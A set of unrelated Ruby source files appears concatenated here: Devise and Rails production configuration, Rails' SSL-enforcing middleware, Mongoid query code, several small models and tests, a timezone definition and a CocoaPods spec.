# enable it only for database (email + password) authentication. # config.params_authenticatable = true # Tell if authentication through HTTP Auth is enabled. False by default. # It can be set to an array that will enable http authentication only for the # given strategies, for example, `config.http_authenticatable = [:database]` will # enable it only for database authentication. The supported strategies are: # :database = Support basic authentication with authentication key + password # config.http_authenticatable = false # If http headers should be returned for AJAX requests. True by default. # config.http_authenticatable_on_xhr = true # The realm used in Http Basic Authentication. 'Application' by default. # config.http_authentication_realm = 'Application' # It will change confirmation, password recovery and other workflows # to behave the same regardless if the e-mail provided was right or wrong. # Does not affect registerable. config.paranoid = true # By default Devise will store the user in session. You can skip storage for # particular strategies by setting this option. # Notice that if you are skipping storage for all authentication paths, you # may want to disable generating routes to Devise's sessions controller by # passing :skip => :sessions to `devise_for` in your config/routes.rb config.skip_session_storage = [:http_auth] # By default, Devise cleans up the CSRF token on authentication to # avoid CSRF token fixation attacks. This means that, when using AJAX # requests for sign in and sign up, you need to get a new CSRF token # from the server. You can disable this option at your own risk. # config.clean_up_csrf_token_on_authentication = true # ==> Configuration for :database_authenticatable # For bcrypt, this is the cost for hashing the password and defaults to 10. If # using other encryptors, it sets how many times you want the password re-encrypted. # # Limiting the stretches to just one in testing will increase the performance of # your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use # a value less than 10 in other environments. config.stretches = Rails.env.test? ? 1 : 10 # Setup a pepper to generate the encrypted password. # config.pepper = "5fc5654d742e6d7833ccefe0a9e01c9373cb200c70dada5ab7a43c7251afa326e2f0be252dab609e6555ec0114b228ea7dd2c6c733ea14e34e5b14a6da7fa1cf" # ==> Configuration for :confirmable # A period that the user is allowed to access the website even without # confirming his account. For instance, if set to 2.days, the user will be # able to access the website for two days without confirming his account, # access will be blocked just in the third day. Default is 0.days, meaning # the user cannot access the website without confirming his account. # config.allow_unconfirmed_access_for = 2.days # A period that the user is allowed to confirm their account before their # token becomes invalid. For example, if set to 3.days, the user can confirm # their account within 3 days after the mail was sent, but on the fourth day # their account can't be confirmed with the token any more. # Default is nil, meaning there is no restriction on how long a user can take # before confirming their account. # config.confirm_within = 3.days # If true, requires any email changes to be confirmed (exactly the same way as # initial account confirmation) to be applied. Requires additional unconfirmed_email # db field (see migrations). Until confirmed new email is stored in # unconfirmed email column, and copied to email column on successful confirmation. config.reconfirmable = false # Defines which key will be used when confirming an account # config.confirmation_keys = [ :email ] # ==> Configuration for :rememberable # The time the user will be remembered without asking for credentials again. # config.remember_for = 2.weeks # If true, extends the user's remember period when remembered via cookie. # config.extend_remember_period = false # Options to be passed to the created cookie. For instance, you can set # :secure => true in order to force SSL only cookies. # config.rememberable_options = {} # ==> Configuration for :validatable # Range for password length. Default is 8..128. # config.password_length = 8..128 # Email regex used to validate email formats. It simply asserts that # one (and only one) @ exists in the given string. This is mainly # to give user feedback and not to assert the e-mail validity. # config.email_regexp = /\A[^@]+@[^@]+\z/ # ==> Configuration for :timeoutable # The time you want to timeout the user session without activity. After this # time the user will be asked for credentials again. Default is 30 minutes. config.timeout_in = 2.weeks # Lillie wanted 'forever' but we compromised at '2 weeks' # If true, expires auth token on session timeout. # config.expire_auth_token_on_timeout = false # ==> Configuration for :lockable # Defines which strategy will be used to lock an account. # :failed_attempts = Locks an account after a number of failed attempts to sign in. # :none = No lock strategy. You should handle locking by yourself. # config.lock_strategy = :failed_attempts # Defines which key will be used when locking and unlocking an account # config.unlock_keys = [ :email ] # Defines which strategy will be used to unlock an account. # :email = Sends an unlock link to the user email # :time = Re-enables login after a certain amount of time (see :unlock_in below) # :both = Enables both strategies # :none = No unlock strategy. You should handle unlocking by yourself. # config.unlock_strategy = :both # Number of authentication tries before locking an account if lock_strategy # is failed attempts. # config.maximum_attempts = 20 # Time interval to unlock the account if :time is enabled as unlock_strategy. # config.unlock_in = 1.hour # Warn on the last attempt before the account is locked. # config.last_attempt_warning = false # ==> Configuration for :recoverable # # Defines which key will be used when recovering the password for an account # config.reset_password_keys = [ :email ] # Time interval you can reset your password with a reset password key. # Don't put a too small interval or your users won't have the time to # change their passwords. config.reset_password_within = 2.hours # ==> Configuration for :encryptable # Allow you to use another encryption algorithm besides bcrypt (default). You can use # :sha1, :sha512 or encryptors from others authentication tools as :clearance_sha1, # :authlogic_sha512 (then you should set stretches above to 20 for default behavior) # and :restful_authentication_sha1 (then you should set stretches to 10, and copy # REST_AUTH_SITE_KEY to pepper). # # Require the `devise-encryptable` gem when using anything other than bcrypt # config.encryptor = :sha512 # ==> Scopes configuration # Turn scoped views on. Before rendering "sessions/new", it will first check for # "users/sessions/new". It's turned off by default because it's slower if you # are using only default views. # config.scoped_views = false # Configure the default scope given to Warden. By default it's the first # devise role declared in your routes (usually :user). # config.default_scope = :user # Set this configuration to false if you want /users/sign_out to sign out # only the current scope. By default, Devise signs out all scopes. # config.sign_out_all_scopes = true # ==> Navigation configuration # Lists the formats that should be treated as navigational. Formats like # :html, should redirect to the sign in page when the user does not have # access, but formats like :xml or :json, should return 401. # # If you have any extra navigational formats, like :iphone or :mobile, you # should add them to the navigational formats lists. # # The "*/*" below is required to match Internet Explorer requests. # config.navigational_formats = ['*/*', :html] # The default HTTP method used to sign out a resource. Default is :delete. config.sign_out_via = :delete # ==> OmniAuth # Add a new OmniAuth provider. Check the wiki for more information on setting # up on your models and hooks. # config.omniauth :github, 'APP_ID', 'APP_SECRET', :scope => 'user,public_repo' config.omniauth :facebook, ENV['FACEBOOK_OAUTH_KEY'], ENV['FACEBOOK_OAUTH_SECRET'], {scope: 'email'} config.omniauth :twitter, ENV['TWITTER_OAUTH_KEY'], ENV['TWITTER_OAUTH_SECRET'] config.omniauth :github, ENV['GITHUB_OAUTH_KEY'], ENV['GITHUB_OAUTH_SECRET'] config.omniauth :meetup, ENV['MEETUP_OAUTH_KEY'], ENV['MEETUP_OAUTH_SECRET'] config.omniauth :google_oauth2, ENV['GOOGLE_OAUTH_KEY'], ENV['GOOGLE_OAUTH_SECRET'] # ==> Warden configuration # If you want to use other strategies, that are not supported by Devise, or # change the failure app, you can configure them inside the config.warden block. # # config.warden do |manager| # manager.intercept_401 = false # manager.default_strategies(:scope => :user).unshift :some_external_strategy # end # ==> Mountable engine configurations # When using Devise inside an engine, let's call it `MyEngine`, and this engine # is mountable, there are some extra configurations to be taken into account. # The following options are available, assuming the engine is mounted as: # # mount MyEngine, at: '/my_engine' # # The router that invoked `devise_for`, in the example above, would be: # config.router_name = :my_engine # # When using omniauth, Devise cannot automatically set Omniauth path, # so you need to do it manually. For the users scope, it would be: # config.omniauth_path_prefix = '/my_engine/users/auth' end
48.942748
150
0.746471
ac47a56c6b3eaef4db4f12e64d9c43ced6e263ec
543
# Copyright (c) 2019, Peter Ohler, All rights reserved. module BalanceBook module Model class TaxAmount attr_accessor :tax attr_accessor :amount def initialize(tax, amount) @tax = tax @amount = ((amount * 100.0).to_i.to_f * 0.01).round(2) end def validate(book) raise StandardError.new("Tax Amount tax of #{@tax} not found.") if book.company.find_tax(@tax) raise StandardError.new("Tax amount of #{@amount} must be greater than or equal to 0.0.") unless 0.0 <= @amount end end end end
22.625
112
0.661142
26aa7bee00717d660ee3d9d35965cf14351de4aa
2,743
# frozen_string_literal: true # Copyright (c) 2008-2013 Michael Dvorkin and contributors. # # Fat Free CRM is freely distributable under the terms of MIT license. # See MIT-LICENSE file or http://www.opensource.org/licenses/mit-license.php #------------------------------------------------------------------------------ if defined?(FatFreeCRM::Application) FatFreeCRM::Application.configure do # Settings specified here will take precedence over those in config/application.rb config.eager_load = true # Code is not reloaded between requests config.cache_classes = true # Full error reports are enabled, since this is an internal application. config.consider_all_requests_local = false # Caching is turned on config.action_controller.perform_caching = true # Disable Rails's static asset server (Apache or nginx will already do this) config.public_file_server.enabled = true # Compress JavaScripts and CSS config.assets.compress = true # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false # Generate digests for assets URLs config.assets.digest = true config.action_mailer.delivery_method = :smtp config.action_mailer.default_url_options = { host: 'https://gct-crm.herokuapp.com' } # Defaults to Rails.root.join("public/assets") # config.assets.manifest = YOUR_PATH # Specifies the header that your server uses for sending files # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # See everything in the log (default is :info) config.log_level = :info # Use a different logger for distributed setups # config.logger = SyslogLogger.new # Use a different cache store in production # config.cache_store = :mem_cache_store # Enable serving of images, stylesheets, and JavaScripts from an asset server # config.action_controller.asset_host = "http://assets.example.com" # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) # config.assets.precompile += %w( search.js ) # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation can not be found) config.i18n.fallbacks = true # Send deprecation notices to registered listeners config.active_support.deprecation = :notify # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false end end
38.097222
106
0.716734
bf3fb9cea7e83962fd6b8532eed9233a4a159d98
496
# frozen_string_literal: true require 'spec_helper' RSpec.describe JabberAdmin::Commands::BanAccount do it_behaves_like 'a command', with_name: 'ban_account', with_input_args: [ user: '[email protected]', reason: 'test' ], with_called_args: [ user: 'tom', host: 'ejabberd.local', reason: 'test' ] end
27.555556
51
0.459677
ffb2ae7dbdfcfd367ccc46c4f3d5802c873ffa29
5,521
module ActionDispatch # This middleware is added to the stack when `config.force_ssl = true`, and is passed # the options set in `config.ssl_options`. It does three jobs to enforce secure HTTP # requests: # # 1. TLS redirect: Permanently redirects http:// requests to https:// # with the same URL host, path, etc. Enabled by default. Set `config.ssl_options` # to modify the destination URL # (e.g. `redirect: { host: "secure.widgets.com", port: 8080 }`), or set # `redirect: false` to disable this feature. # # Cookies will not be flagged as secure for excluded requests. # # 2. Secure cookies: Sets the `secure` flag on cookies to tell browsers they # mustn't be sent along with http:// requests. Enabled by default. Set # `config.ssl_options` with `secure_cookies: false` to disable this feature. # # 3. HTTP Strict Transport Security (HSTS): Tells the browser to remember # this site as TLS-only and automatically redirect non-TLS requests. # Enabled by default. Configure `config.ssl_options` with `hsts: false` to disable. # # Set `config.ssl_options` with `hsts: { … }` to configure HSTS: # * `expires`: How long, in seconds, these settings will stick. The minimum # required to qualify for browser preload lists is `18.weeks`. Defaults to # `180.days` (recommended). # * `subdomains`: Set to `true` to tell the browser to apply these settings # to all subdomains. This protects your cookies from interception by a # vulnerable site on a subdomain. Defaults to `true`. # * `preload`: Advertise that this site may be included in browsers' # preloaded HSTS lists. HSTS protects your site on every visit *except the # first visit* since it hasn't seen your HSTS header yet. To close this # gap, browser vendors include a baked-in list of HSTS-enabled sites. # Go to https://hstspreload.appspot.com to submit your site for inclusion. # Defaults to `false`. # # To turn off HSTS, omitting the header is not enough. Browsers will remember the # original HSTS directive until it expires. Instead, use the header to tell browsers to # expire HSTS immediately. Setting `hsts: false` is a shortcut for # `hsts: { expires: 0 }`. # # Requests can opt-out of redirection with `exclude`: # # config.ssl_options = { redirect: { exclude: -> request { request.path =~ /healthcheck/ } } } class SSL # Default to 180 days, the low end for https://www.ssllabs.com/ssltest/ # and greater than the 18-week requirement for browser preload lists. HSTS_EXPIRES_IN = 15552000 def self.default_hsts_options { expires: HSTS_EXPIRES_IN, subdomains: true, preload: false } end def initialize(app, redirect: {}, hsts: {}, secure_cookies: true) @app = app @redirect = redirect @exclude = @redirect && @redirect[:exclude] || proc { !@redirect } @secure_cookies = secure_cookies @hsts_header = build_hsts_header(normalize_hsts_options(hsts)) end def call(env) request = Request.new env if request.ssl? @app.call(env).tap do |status, headers, body| set_hsts_header! headers flag_cookies_as_secure! headers if @secure_cookies && [email protected](request) end else return redirect_to_https request unless @exclude.call(request) @app.call(env) end end private def set_hsts_header!(headers) headers["Strict-Transport-Security".freeze] ||= @hsts_header end def normalize_hsts_options(options) case options # Explicitly disabling HSTS clears the existing setting from browsers # by setting expiry to 0. when false self.class.default_hsts_options.merge(expires: 0) # Default to enabled, with default options. when nil, true self.class.default_hsts_options else self.class.default_hsts_options.merge(options) end end # http://tools.ietf.org/html/rfc6797#section-6.1 def build_hsts_header(hsts) value = "max-age=#{hsts[:expires].to_i}" value << "; includeSubDomains" if hsts[:subdomains] value << "; preload" if hsts[:preload] value end def flag_cookies_as_secure!(headers) if cookies = headers["Set-Cookie".freeze] cookies = cookies.split("\n".freeze) headers["Set-Cookie".freeze] = cookies.map { |cookie| if cookie !~ /;\s*secure\s*(;|$)/i "#{cookie}; secure" else cookie end }.join("\n".freeze) end end def redirect_to_https(request) [ @redirect.fetch(:status, redirection_status(request)), { "Content-Type" => "text/html", "Location" => https_location_for(request) }, @redirect.fetch(:body, []) ] end def redirection_status(request) if request.get? || request.head? 301 # Issue a permanent redirect via a GET request. else 307 # Issue a fresh request redirect to preserve the HTTP method. end end def https_location_for(request) host = @redirect[:host] || request.host port = @redirect[:port] || request.port location = "https://#{host}" location << ":#{port}" if port != 80 && port != 443 location << request.fullpath location end end end
38.075862
99
0.636841
5d7822dd464cef1c9034870d787951c8dae2080a
661
# encoding: UTF-8 # This file contains data derived from the IANA Time Zone Database # (https://www.iana.org/time-zones). module TZInfo module Data module Definitions module Pacific module Port_Moresby include TimezoneDefinition timezone 'Pacific/Port_Moresby' do |tz| tz.offset :o0, 35320, 0, :LMT tz.offset :o1, 35312, 0, :PMMT tz.offset :o2, 36000, 0, :'+10' tz.transition 1879, 12, :o1, -2840176120, 5200664597, 2160 tz.transition 1894, 12, :o2, -2366790512, 13031248093, 5400 end end end end end end
25.423077
71
0.574887
397ea45b683f8bafccf124558664e2ed97b523f3
1,233
# Copyright © 2014, 2015, Carousel Apps require_relative "../test_helper" require "random_unique_id/util" class RandomUniqueId::UtilTest < MiniTest::Unit::TestCase should "raise an exception for unknown adapters" do sql_connection = stub("connection", adapter_name: "dBASE") ActiveRecord::Base.expects(:connection).returns(sql_connection) assert_raises RuntimeError do RandomUniqueId::Util.set_initial_ids end end should "set initial ids in PostgreSQL" do sql_connection = mock("connection") sql_connection.stubs(:adapter_name).returns("PostgreSQL") sequences = ["sequence_1", "sequence_2"] sql_connection.expects(:select_values).with("SELECT c.relname FROM pg_class c WHERE c.relkind = 'S'").returns(sequences) sql_connection.expects(:select_values).with("SELECT nextval('sequence_1')").returns(["1"]) sql_connection.expects(:execute).with("SELECT setval('sequence_1', 10000)") sql_connection.expects(:select_values).with("SELECT nextval('sequence_2')").returns(["20000"]) sql_connection.expects(:execute).with("SELECT setval('sequence_2', 20000)") ActiveRecord::Base.expects(:connection).returns(sql_connection) RandomUniqueId::Util.set_initial_ids end end
42.517241
124
0.748581
ff30d5341183983ca2460a2eef329cc37571cee2
10,959
# encoding: utf-8 module Mongoid #:nodoc: module Criterion #:nodoc: module Inclusion # Adds a criterion to the +Criteria+ that specifies values that must all # be matched in order to return results. Similar to an "in" clause but the # underlying conditional logic is an "AND" and not an "OR". The MongoDB # conditional operator that will be used is "$all". # # @example Adding the criterion. # criteria.all(:field => ["value1", "value2"]) # criteria.all(:field1 => ["value1", "value2"], :field2 => ["value1"]) # # @param [ Hash ] attributes Name/value pairs that all must match. # # @return [ Criteria ] A new criteria with the added selector. def all(attributes = {}) update_selector(attributes, "$all") end alias :all_in :all # Adds a criterion to the criteria that specifies multiple expressions # that *all* must match. This uses MongoDB's $and operator under the # covers. # # @example Match all provided expressions. # criteria.all_of(:name => value, :age.gt => 18) # # @param [ Array<Hash> ] Multiple hash expressions. # # @return [ Criteria ] The criteria object. # # @since 2.3.0 def all_of(*args) clone.tap do |crit| unless args.empty? criterion = @selector["$and"] || [] converted = BSON::ObjectId.convert(klass, args.flatten) expanded = converted.collect { |hash| hash.expand_complex_criteria } crit.selector["$and"] = criterion.concat(expanded) end end end # Adds a criterion to the +Criteria+ that specifies values where any can # be matched in order to return results. This is similar to an SQL "IN" # clause. The MongoDB conditional operator that will be used is "$in". # Any previously matching "$in" arrays will be unioned with new # arguments. # # @example Adding the criterion. # criteria.in(:field => ["value1"]).also_in(:field => ["value2"]) # # @param [ Hash ] attributes Name/value pairs any can match. # # @return [ Criteria ] A new criteria with the added selector. def also_in(attributes = {}) update_selector(attributes, "$in") end # Adds a criterion to the +Criteria+ that specifies values that must # be matched in order to return results. This is similar to a SQL "WHERE" # clause. This is the actual selector that will be provided to MongoDB, # similar to the Javascript object that is used when performing a find() # in the MongoDB console. # # @example Adding the criterion. # criteria.and(:field1 => "value1", :field2 => 15) # # @param [ Hash ] selectior Name/value pairs that all must match. # # @return [ Criteria ] A new criteria with the added selector. def and(selector = nil) where(selector) end # Adds a criterion to the +Criteria+ that specifies a set of expressions # to match if any of them return true. This is a $or query in MongoDB and # is similar to a SQL OR. This is named #any_of and aliased "or" for # readability. # # @example Adding the criterion. # criteria.any_of({ :field1 => "value" }, { :field2 => "value2" }) # # @param [ Array<Hash> ] args A list of name/value pairs any can match. # # @return [ Criteria ] A new criteria with the added selector. def any_of(*args) clone.tap do |crit| criterion = @selector["$or"] || [] converted = BSON::ObjectId.convert(klass, args.flatten) expanded = converted.collect { |hash| hash.expand_complex_criteria } crit.selector["$or"] = criterion.concat(expanded) end end alias :or :any_of # Find the matchind document in the criteria, either based on id or # conditions. # # @todo Durran: DRY up duplicated code in a few places. # # @example Find by an id. # criteria.find(BSON::ObjectId.new) # # @example Find by multiple ids. # criteria.find([ BSON::ObjectId.new, BSON::ObjectId.new ]) # # @example Conditionally find all matching documents. # criteria.find(:all, :conditions => { :title => "Sir" }) # # @example Conditionally find the first document. # criteria.find(:first, :conditions => { :title => "Sir" }) # # @example Conditionally find the last document. # criteria.find(:last, :conditions => { :title => "Sir" }) # # @param [ Symbol, BSON::ObjectId, Array<BSON::ObjectId> ] arg The # argument to search with. # @param [ Hash ] options The options to search with. # # @return [ Document, Criteria ] The matching document(s). def find(*args) type, crit = search(*args) case type when :first then crit.one when :last then crit.last when :ids then crit.execute_or_raise(args) else crit end end # Execute the criteria or raise an error if no documents found. # # @example Execute or raise # criteria.execute_or_raise(id, criteria) # # @param [ Object ] args The arguments passed. # @param [ Criteria ] criteria The criteria to execute. # # @raise [ Errors::DocumentNotFound ] If nothing returned. # # @return [ Document, Array<Document> ] The document(s). # # @since 2.0.0 def execute_or_raise(args) (args[0].is_a?(Array) ? entries : from_map_or_db).tap do |result| if Mongoid.raise_not_found_error && !args.flatten.blank? raise Errors::DocumentNotFound.new(klass, args) if result._vacant? end end end # Get the document from the identity map, and if not found hit the # database. # # @example Get the document from the map or criteria. # criteria.from_map_or_db(criteria) # # @param [ Criteria ] The cloned criteria. # # @return [ Document ] The found document. # # @since 2.2.1 def from_map_or_db doc = IdentityMap.get(klass, extract_id || selector) doc && doc.matches?(selector) ? doc : first end # Adds a criterion to the +Criteria+ that specifies values where any can # be matched in order to return results. This is similar to an SQL "IN" # clause. The MongoDB conditional operator that will be used is "$in". # # @example Adding the criterion. # criteria.in(:field => ["value1", "value2"]) # criteria.in(:field1 => ["value1", "value2"], :field2 => ["value1"]) # # @param [ Hash ] attributes Name/value pairs any can match. # # @return [ Criteria ] A new criteria with the added selector. def in(attributes = {}) update_selector(attributes, "$in", :&) end alias :any_in :in # Eager loads all the provided relations. Will load all the documents # into the identity map who's ids match based on the extra query for the # ids. # # @note This will only work if Mongoid's identity map is enabled. To do # so set identity_map_enabled: true in your mongoid.yml # # @note This will work for embedded relations that reference another # collection via belongs_to as well. # # @note Eager loading brings all the documents into memory, so there is a # sweet spot on the performance gains. Internal benchmarks show that # eager loading becomes slower around 100k documents, but this will # naturally depend on the specific application. # # @example Eager load the provided relations. # Person.includes(:posts, :game) # # @param [ Array<Symbol> ] relations The names of the relations to eager # load. # # @return [ Criteria ] The cloned criteria. # # @since 2.2.0 def includes(*relations) relations.flatten.each do |name| inclusions.push(klass.reflect_on_association(name)) end clone end # Get a list of criteria that are to be executed for eager loading. # # @example Get the eager loading inclusions. # Person.includes(:game).inclusions # # @return [ Array<Metadata> ] The inclusions. # # @since 2.2.0 def inclusions @inclusions ||= [] end # Adds a criterion to the +Criteria+ that specifies values to do # geospacial searches by. The field must be indexed with the "2d" option. # # @example Adding the criterion. # criteria.near(:field1 => [30, -44]) # # @param [ Hash ] attributes The fields with lat/long values. # # @return [ Criteria ] A new criteria with the added selector. def near(attributes = {}) update_selector(attributes, "$near") end # Adds a criterion to the +Criteria+ that specifies values that must # be matched in order to return results. This is similar to a SQL "WHERE" # clause. This is the actual selector that will be provided to MongoDB, # similar to the Javascript object that is used when performing a find() # in the MongoDB console. # # @example Adding the criterion. # criteria.where(:field1 => "value1", :field2 => 15) # # @param [ Hash ] selector Name/value pairs where all must match. # # @return [ Criteria ] A new criteria with the added selector. def where(selector = nil) clone.tap do |crit| selector = case selector when String then {"$where" => selector} else BSON::ObjectId.convert(klass, selector || {}, false).expand_complex_criteria end # @todo: Durran: 3.0.0: refactor the merging into separate strategies # to clean this funkiness up. selector.each_pair do |key, value| if crit.selector.has_key?(key) if key.mongoid_id? if crit.selector.has_key?("$and") crit.selector["$and"] << { key => value } elsif crit.selector[key] != value crit.selector["$and"] = [{ key => crit.selector.delete(key) }, { key => value }] end elsif crit.selector[key].respond_to?(:merge) && value.respond_to?(:merge) crit.selector[key] = crit.selector[key].merge(value) do |key, old, new| key == '$in' ? old & new : new end else crit.selector[key] = value end else crit.selector[key] = value end end end end end end end
37.659794
98
0.588284
2176d8d6b6c918c3b6fb7f53a804d0dac1d8432e
1,285
module Duby::AST class Array < Node def initialize(parent) super(parent, yield(self)) end end class Fixnum < Node include Literal def initialize(parent, literal) super(parent) @literal = literal end def infer(typer) return @inferred_type if resolved? resolved! @inferred_type = typer.fixnum_type end end class Float < Node include Literal def initialize(parent, literal) super(parent) @literal = literal end def infer(typer) return @inferred_type if resolved? resolved! @inferred_type = typer.float_type end end class Hash < Node; end class String < Node include Literal def initialize(parent, literal) super(parent) @literal = literal end def infer(typer) return @inferred_type if resolved? resolved! @inferred_type ||= typer.string_type end end class Symbol < Node; end class Boolean < Node include Literal def initialize(parent, literal) super(parent) @literal = literal end def infer(typer) return @inferred_type if resolved? resolved! @inferred_type ||= typer.boolean_type end end end
18.098592
43
0.607782
ffd35b99c20e138b40f67c68f00b8dda9c51e465
818
version = File.read(File.expand_path('../VERSION', __FILE__)).strip Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'wechat-omniauth-web' s.version = '0.0.3' s.summary = 'login with wechat account by scanning qrcode with phone' s.description = 'login with wechat account by scanning qrcode with phone' s.files = Dir['README.md', 'lib/**/*'] s.require_path = 'lib' s.requirements << 'none' s.required_ruby_version = '>= 1.9.3' s.required_rubygems_version = '>= 1.8.23' s.author = 'teng' s.email = '[email protected]' s.homepage = 'https://github.com/tengcong/wechat-omniauth' s.add_dependency 'omniauth', '~> 1.0' s.add_dependency 'omniauth-oauth2', '~> 1.0' s.add_development_dependency 'rspec', '~> 2.7' end
34.083333
75
0.640587
6ac55c993248f35db552fd9364acb34126cfb9ee
2,474
# Copyright 2019 Google LLC All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # [START getting_started_auth_all] require "base64" require "json" require "jwt" require "net/http" require "openssl" require "sinatra" require "uri" # [START getting_started_auth_certs] def certificates uri = URI.parse "https://www.gstatic.com/iap/verify/public_key" response = Net::HTTP.get_response uri JSON.parse response.body end set :certificates, certificates # [END getting_started_auth_certs] # [START getting_started_auth_metadata] def get_metadata item_name endpoint = "http://metadata.google.internal" path = "/computeMetadata/v1/project/#{item_name}" uri = URI.parse endpoint + path http = Net::HTTP.new uri.host, uri.port request = Net::HTTP::Get.new uri.request_uri request["Metadata-Flavor"] = "Google" response = http.request request response.body end # [END getting_started_auth_metadata] # [START getting_started_auth_audience] def audience project_number = get_metadata "numeric-project-id" project_id = get_metadata "project-id" "/projects/#{project_number}/apps/#{project_id}" end set :audience, audience # [END getting_started_auth_audience] # [START getting_started_auth_validate_assertion] def validate_assertion assertion a_header = Base64.decode64 assertion.split(".")[0] key_id = JSON.parse(a_header)["kid"] cert = OpenSSL::PKey::EC.new settings.certificates[key_id] info = JWT.decode assertion, cert, true, algorithm: "ES256", audience: settings.audience [info[0]["email"], info[0]["sub"]] rescue StandardError => e puts "Failed to validate assertion: #{e}" [nil, nil] end # [END getting_started_auth_validate_assertion] # [START getting_started_auth_front_controller] get "/" do assertion = request.env["HTTP_X_GOOG_IAP_JWT_ASSERTION"] email, _user_id = validate_assertion assertion "<h1>Hello #{email}</h1>" end # [END getting_started_auth_front_controller] # [END getting_started_auth_all]
31.316456
90
0.761924
610eb3baff286e319a3140b158b8c7005ea84f4a
388
# frozen_string_literal: true module VagrantBindfs module Vagrant module Capabilities module Gentoo autoload :PackageManager, 'vagrant-bindfs/vagrant/capabilities/gentoo/package_manager' autoload :Fuse, 'vagrant-bindfs/vagrant/capabilities/gentoo/fuse' autoload :Bindfs, 'vagrant-bindfs/vagrant/capabilities/gentoo/bindfs' end end end end
27.714286
94
0.737113
e874e62a3efef3dfbab2c3c5abd6719854b4e7bc
3,232
# == Schema Information # # Table name: mail_subscriptions # # id :integer not null, primary key # email :text # preferences :json # token :string # last_send_date :datetime # created_at :datetime not null # updated_at :datetime not null # limit :integer # gender :integer # first_name :string # last_name :string # academic_title :string # company :string # position :string # deleted_at :datetime # status :integer default("unconfirmed") # remembered_at :datetime # last_reminder_sent_at :date # number_of_reminder_sent :integer default(0) # # Indexes # # index_mail_subscriptions_on_token (token) UNIQUE # class MailSubscription < ApplicationRecord has_many :histories, class_name: "MailSubscription::History", dependent: :destroy store_accessor :preferences, :categories store_accessor :preferences, :interval enum gender: [:female, :male] validates :interval, presence: true, inclusion: { in: %w(weekly monthly biweekly) } validates :categories, presence: true validates :email, presence: true, format: { with: URI::MailTo::EMAIL_REGEXP } validates :limit, presence: true validates :first_name, :last_name, format: { with: /\A[\p{L} \.-]+\z/i } validates :first_name, :last_name, format: { without: /https|http/i } # validates :academic_title, :company, :position, format: {with: /\p{Word}/} before_create do self.token = SecureRandom.hex(32) end scope :deleted, -> { where 'deleted_at is not null' } scope :inactive_for, -> { where('last_send_date > ?', (Setting.inactive_months.to_i).months) } scope :undeleted, -> { where deleted_at: nil } validates :privacy, acceptance: true enum status: [:unconfirmed, :confirmed, :unsubscribed] def confirm! update_column :status, MailSubscription.statuses[:confirmed] end def due? return true if last_send_date.nil? (last_send_date + interval_from).to_date <= Time.zone.today end def interval_from { 'weekly' => 1.week, 'biweekly' => 2.weeks, 'monthly' => 1.month }[interval] end def salutation if gender.present? and last_name? [male? ? "Sehr geehrter Herr" : "Sehr geehrte Frau", academic_title, last_name].reject(&:blank?).join(' ') else 'Hallo' end end def full_email if gender? and last_name? address = Mail::Address.new email address.display_name = [first_name, last_name].reject(&:blank?).join(' ') address.format else email end end def to_param token end def destroy self.email = "deleted_#{id}_#{email}" self.gender = nil self.status = 'unsubscribed' self.first_name = nil self.last_name = nil self.company = nil self.academic_title = nil self.position = nil self.deleted_at = Time.zone.now self.categories = [] self.token = nil save validate: false end def categories=(vals) super(vals.reject(&:blank?).map(&:to_i)) end end
28.60177
112
0.620978
269cd504fa1232fac5efa232f42324c4119dcdbd
1,214
class Religion class << self def all { "Christian": [ "Catholic", "Chathar", "Fraticelli", "Waldensian", "Lollard", "Orthodox", "Miaphysite", "Monophysite", "Bogomilist", "Monothelite", "Iconoclast", "Paulician", "Nestorian", "Messalian" ], "Muslim": [ "Sunni", "Zikri", "Yazidi", "Ibadi", "Kharijite", "Shia", "Druze", "Hurufi", "Qarmatian" ], "Pagan": [ "Germanic", "Tengri", "Romuva", "Suomenusko", "Aztec", "Slavic", "African", "Zunist", "Hellenic", "Bön" ], "Mazdan": [ "Zoroastrian", "Mazdaki", "Manichaean", "Khurmazta" ], "Israelite": [ "Jewish", "Samaritan", "Karaite" ], "Eastern": [ "Hindu", "Buddhist", "Jain", "Taoist" ] } end end end
17.098592
24
0.336903
4abaf0424718efaf004694ab0e3fef314f095d5f
653
module Surveymonkey # Response Page class Response::Page attr_reader :id, :raw_data, :page_structure def initialize(raw_data, page_structure) @raw_data = raw_data @id = raw_data['id'] @page_structure = page_structure end # Match page title def title @title ||= page_structure['title'] end def questions @questions ||= raw_data['questions'].each_with_object([]) do |question, arr| question_structure = page_structure['questions'].detect { |q| q['id'] == question['id'] } arr << Surveymonkey::Response::Question.new(question, question_structure) end end end end
26.12
97
0.650842
5d7e95a94609495e94cd3d0aead28ed624f966cd
393
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::SQL::Mgmt::V2015_05_01_preview module Models # # Defines values for RecommendedActionInitiatedBy # module RecommendedActionInitiatedBy User = "User" System = "System" end end end
23.117647
70
0.715013
015c716cbe62d88df27d99d4661a32730fa6bf7e
753
Pod::Spec.new do |s| s.name = 'StatefulTableView' s.version = '0.2.0' s.license = { :type => 'MIT', :file => 'LICENSE' } s.homepage = 'http://github.com/timominous/StatefulTableView' s.description = 'Custom UITableView container class that supports pull-to-refresh, load-more, initial load, and empty states. Swift port of SKStatefulTableViewController' s.summary = 'Custom UITableView container class that supports pull-to-refresh, load-more, initial load, and empty states.' s.author = { 'timominous' => '[email protected]' } s.source = { :git => 'https://github.com/timominous/StatefulTableView.git', :tag => s.version.to_s } s.ios.deployment_target = "11.0" s.source_files = 'Sources/**/*.swift' s.requires_arc = true end
34.227273
171
0.706507
